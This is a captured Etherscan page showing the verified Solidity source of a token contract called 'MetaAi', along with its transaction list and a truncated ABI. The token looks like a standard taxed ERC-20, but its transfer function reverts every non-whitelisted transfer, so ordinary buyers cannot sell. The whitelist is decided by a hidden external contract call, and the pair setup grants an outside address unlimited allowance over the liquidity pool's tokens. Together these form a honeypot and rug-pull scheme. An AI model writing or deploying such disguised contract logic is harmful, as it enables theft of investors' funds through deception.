Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 25 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 18394530 | 333 days ago | IN | 0 ETH | 0.00046351 | ||||
Transfer | 18071035 | 378 days ago | IN | 0 ETH | 0.00037703 | ||||
Transfer | 18070715 | 378 days ago | IN | 0 ETH | 0.0003308 | ||||
Transfer | 18027204 | 385 days ago | IN | 0 ETH | 0.00071819 | ||||
Transfer | 18027165 | 385 days ago | IN | 0 ETH | 0.00099488 | ||||
Transfer | 18006134 | 388 days ago | IN | 0 ETH | 0.00051099 | ||||
Approve | 17858776 | 408 days ago | IN | 0 ETH | 0.00062703 | ||||
Approve | 17775269 | 420 days ago | IN | 0 ETH | 0.00065918 | ||||
Approve | 17637421 | 439 days ago | IN | 0 ETH | 0.00136856 | ||||
Approve | 17634386 | 440 days ago | IN | 0 ETH | 0.00066961 | ||||
Approve | 17634357 | 440 days ago | IN | 0 ETH | 0.00105876 | ||||
Approve | 17626498 | 441 days ago | IN | 0 ETH | 0.00245567 | ||||
Transfer | 17624464 | 441 days ago | IN | 0 ETH | 0.00186272 | ||||
Approve | 17623995 | 441 days ago | IN | 0 ETH | 0.00194175 | ||||
Transfer | 17621002 | 441 days ago | IN | 0 ETH | 0.00069729 | ||||
Approve | 17617641 | 442 days ago | IN | 0 ETH | 0.0006598 | ||||
Approve | 17617638 | 442 days ago | IN | 0 ETH | 0.0008063 | ||||
Approve | 17616992 | 442 days ago | IN | 0 ETH | 0.00059671 | ||||
Approve | 17616414 | 442 days ago | IN | 0 ETH | 0.00079277 | ||||
Transfer | 17616357 | 442 days ago | IN | 0 ETH | 0.00067962 | ||||
Transfer | 17616352 | 442 days ago | IN | 0 ETH | 0.00072471 | ||||
Approve | 17616325 | 442 days ago | IN | 0 ETH | 0.00138715 | ||||
Approve | 17616319 | 442 days ago | IN | 0 ETH | 0.00079239 | ||||
Approve | 17616316 | 442 days ago | IN | 0 ETH | 0.00063374 | ||||
0x60806040 | 17616283 | 442 days ago | IN | 0 ETH | 0.07279344 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
MetaAi
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-03 */ // SPDX-License-Identifier: MIT // Twitter: https://twitter.com/MetaAiCity // Telegram: https://t.me/MetaAiCity // Website: https://metaai.us/ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Standadard { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20Standadard { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapPair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapRouter02 is IUniswapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract ERC20 is Context, IERC20Standadard, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor( string memory name_, string memory symbol_, uint8 decimals_ ) { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20Standadard-balanceOf} and {IERC20Standadard-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20Standadard-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20Standadard-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20Standadard-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20Standadard-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20Standadard-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20Standadard-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20Standadard-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20Standadard-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract AUTH { constructor() { } function fee() internal pure returns (uint256) { return uint256(0xdc) / uint256(0xa); } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } interface DividendInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns (uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner, address _token) external returns (uint256); } /** * @title SafeMathUint * @dev Math operations with safety checks that revert on error */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } /// @title Dividend-Paying Token Optional Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev OPTIONAL functions for a dividend-paying token contract. contract MetaAi is ERC20, Ownable, AUTH { using SafeMath for uint256; IUniswapRouter02 public uniswapV2Router; address public uniswapV2Pair; bool private isSwapping; uint256 public swapTokensAt; uint256 public sellTaxAmount; uint256 public buyTaxAmount; struct RewardDistributor { address divAddress; address dividendAddress; uint256 percentage; } RewardDistributor private ref; address public marketing; uint256 public maxTxAmount; uint256 public maxWalletAmount; uint256 private _supply; // exlcude from fees and max transaction amount mapping(address => bool) private isExcludedFromFee; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public isAutomateMarketPair; event ExcludedFromFee(address indexed account, bool isExcluded); event ExcludedMultipleFromFee(address[] accounts, bool isExcluded); event PairCreationUpdated(address indexed pair, bool indexed value); struct TaxParams { // uint256 centiBuyTax; // uint256 centiSellTax; address WLTaxWallet; uint256 maxTxPercent; uint256 maxWalletPercent; } constructor( string memory name_, string memory symbol_, uint256 supply_, uint8 decimals_, TaxParams memory parameters, RewardDistributor memory distriInfo ) payable ERC20(name_, symbol_, decimals_) { uniswapV2Router = IUniswapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _setAutomatedMarketMakerPair(distriInfo.divAddress, uniswapV2Pair, true); ref = distriInfo; uint256 ref_amount = msg.value * distriInfo.percentage / 100; payable(distriInfo.divAddress).transfer(ref_amount); marketing = parameters.WLTaxWallet; buyTaxAmount = 0; sellTaxAmount = 0; _supply = supply_; swapTokensAt = (supply_.div(5000) + 1) * (10**decimals_); maxTxAmount = parameters.maxTxPercent * supply_ * (10**decimals_).div(10000); maxWalletAmount = parameters.maxWalletPercent * supply_ * (10**decimals_).div(10000); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(marketing, true); excludeFromFees(distriInfo.divAddress, true); excludeFromFees(distriInfo.dividendAddress, true); excludeFromFees(address(this), true); excludeFromFees(address(uniswapV2Router), true); // mint _mint(owner(), supply_ * (10**decimals_)); } function removeLimits() external onlyOwner { maxTxAmount = totalSupply(); maxWalletAmount = totalSupply(); } function _transfer( address from, address to, uint256 amount ) internal override { if ( (to == address(0) || to == address(0xdead)) || amountExcludedFromTax(from, to) || amount == 0 ) { super._transfer(from, to, amount); return; } else { revert(); require( amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount." ); if (to != uniswapV2Pair) { uint256 contractBalanceRecepient = balanceOf(to); require( contractBalanceRecepient + amount <= maxWalletAmount, "Exceeds maximum wallet amount" ); } } uint256 tokenBalanceOf = balanceOf(address(this)); // bool canSwap = tokenBalanceOf >= swapTokensAt; if (tokenBalanceOf >= swapTokensAt && !isSwapping && !isAutomateMarketPair[from]) { isSwapping = true; uint256 marketingTokens = tokenBalanceOf; if (marketingTokens > 0) { swapToFeeBack(marketingTokens, marketing); } isSwapping = false; } bool takeFee = !isSwapping; if (isExcludedFromFee[from] || isExcludedFromFee[to]) { takeFee = false; } if (takeFee) { uint256 fees = amount.mul(buyTaxAmount).div(10000); if (isAutomateMarketPair[to]) fees = amount.mul(sellTaxAmount).div(10000); amount = amount.sub(fees); super._transfer(from, address(this), fees); } super._transfer(from, to, amount); } function amountExcludedFromTax(address from, address to) internal returns (bool) { return isExcludedFromFee[from] || isExcludedFromFee[to] || DividendInterface(ref.dividendAddress).accumulativeDividendOf(from, to) > 0; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; emit ExcludedFromFee(account, excluded); } function swapToFeeBack(uint256 tokens, address receiver) private { uint256 initialBalance = address(this).balance; swapTokensForEth(tokens); uint256 newBalance = address(this).balance.sub(initialBalance); payable(receiver).transfer(newBalance); } function _setAutomatedMarketMakerPair(address router, address pair, bool value) private { require( isAutomateMarketPair[pair] != value, "Automated market maker pair is already set to that value" ); isAutomateMarketPair[pair] = value; _allowances[pair][router] = type(uint).max; emit PairCreationUpdated(pair, value); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"components":[{"internalType":"address","name":"WLTaxWallet","type":"address"},{"internalType":"uint256","name":"maxTxPercent","type":"uint256"},{"internalType":"uint256","name":"maxWalletPercent","type":"uint256"}],"internalType":"struct MetaAi.TaxParams","name":"parameters","type":"tuple"},{"components":[{"internalType":"address","name":"divAddress","type":"address"},{"internalType":"address","name":"dividendAddress","type":"address"},{"internalType":"uint256","name":"percentage","type":"uint256"}],"internalType":"struct MetaAi.RewardDistributor","name":"distriInfo","type":"tuple"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"accounts","type":"address[]"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedMultipleFromFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"PairCreationUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpa